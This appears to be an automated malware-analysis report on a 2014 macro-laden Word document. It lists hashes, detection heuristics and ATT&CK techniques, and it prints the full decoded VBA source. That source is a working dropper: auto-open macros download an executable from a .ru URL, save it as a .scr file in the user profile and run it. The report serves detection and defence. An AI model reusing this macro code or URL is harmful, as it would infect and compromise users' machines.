Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c2c1d709be737df4…

MALICIOUS

Office (OLE)

194.5 KB Created: 2014-08-01 00:12:00 Authoring application: Microsoft Office Word First seen: 2014-08-17
MD5: a0a629b41fbf8669b4b5caeb612cb992 SHA-1: 1695d376ad8d28b3ef1b989d7d8dd01b5ce04da8 SHA-256: c2c1d709be737df447335131c451f9d973ff4fca48136e2de06cbd45e1dde731
454 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document that uses VBA macros to achieve its objectives. The Auto_Open macro executes a function that downloads a file from "http://moviebernie1996.ru/u.exe" and saves it as "%USERPROFILE%\GHJCJ.ScR". It then uses WScript.Shell to execute this downloaded file, indicating a dropper or downloader functionality. The document body itself is a lure to enable macros.

Heuristics 15

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set oShell = CreateObject("WScript.Shell")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    .write Ff8778Frgh.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set oShell = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    fu3ygF = Environ("USERSPROFILE")
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://moviebernie1996.ru/u.exe Referenced by macro
    • http://office365.com/Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 979 bytes
SHA-256: dceed71f8832c5542eae8aabee27dd74f0e59a005f2fc4966bf32f61d42942d8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
    v45
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
Sub v45()
Dim fu3ygF As String
Dim wFEf2cbw As Integer
Dim FU348d As Integer
Dim oShell
Set oShell = CreateObject("WScript.Shell")
suka = "http://moviebernie1996.ru/u.exe"
Dim X2: Set X2 = CreateObject("Adodb.Stream")
Dim Ff8778Frgh: Set Ff8778Frgh = CreateObject("MSXML2.XMLHTTP.6.0")
fu3ygF = Environ("USERSPROFILE")
Ff8778Frgh.Open "GET", suka, False
Ff8778Frgh.Send
With X2
.Type = 1
.Open
.write Ff8778Frgh.responseBody
.SaveToFile fu3ygF & "\GHJCJ.ScR", 2
End With
strCmd = fu3ygF & "\GHJCJ.ScR"
oShell.Run (strCmd)
Set oShell = Nothing
End Sub

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